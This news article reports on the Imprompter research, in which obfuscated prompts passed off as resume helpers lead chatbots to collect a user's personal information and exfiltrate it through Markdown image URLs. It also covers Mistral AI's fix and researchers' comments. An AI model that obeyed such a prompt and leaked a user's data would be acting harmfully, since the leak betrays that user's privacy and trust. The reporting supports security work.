Researchers have highlighted the potential risk of socially engineering individuals into believing that unintelligible prompts could be beneficial, such as enhancing their resumes. They indicate that several websites offer prompts for public use, and they tested this by uploading a resume to chatbot interactions, which was able to extract personal information from the document.
Earlence Fernandes, an assistant professor at UCSD involved in the research, explained that the attack method is complex, requiring the obfuscated prompt to locate personal information, construct a working URL, employ Markdown syntax, and avoid alerting the user to its malicious activities. Fernandes compared the attack to malware due to its ability to execute unintended functions and actions.
A representative from Mistral AI stated that the company welcomes the assistance of security researchers in improving the safety of its products. In response to the findings, Mistral AI implemented measures to address the issue, deemed of “medium severity.” The modifications prevent the Markdown renderer from enabling external URL calls, thereby disabling external image loading.
Fernandes noted that Mistral AI’s update might be among the first instances where an adversarial prompt example led to the rectification of a product rather than filtering out the prompt. However, he cautioned that restricting the capabilities of LLM agents could be “counterproductive” over time.
In a related development, ChatGLM’s creators affirmed their commitment to user privacy and model security. They emphasized the importance of model security and privacy protection and expressed confidence in the open-source community’s role in thoroughly examining and inspecting these models’ capabilities, including their security aspects.
Dan McInerney, lead threat researcher at Protect AI, commented on the Imprompter paper, which outlines an algorithm for automatically creating prompts for various exploitations, including personal information exfiltration and image misclassification. While the attack methods may not be entirely new, the algorithm enhances automated LLM attacks. McInerney stressed that the increasing use of LLM agents and their potential to take actions on behalf of users amplify the risk of attacks. He advised that deploying an LLM agent that accepts arbitrary user inputs should be treated as a high-risk activity necessitating rigorous and innovative security testing.
For organizations, it is essential to understand how an AI agent interacts with data and the potential for misuse. Meanwhile, individuals are advised to be mindful of the amount of information provided to AI applications and to exercise caution when using online prompts.
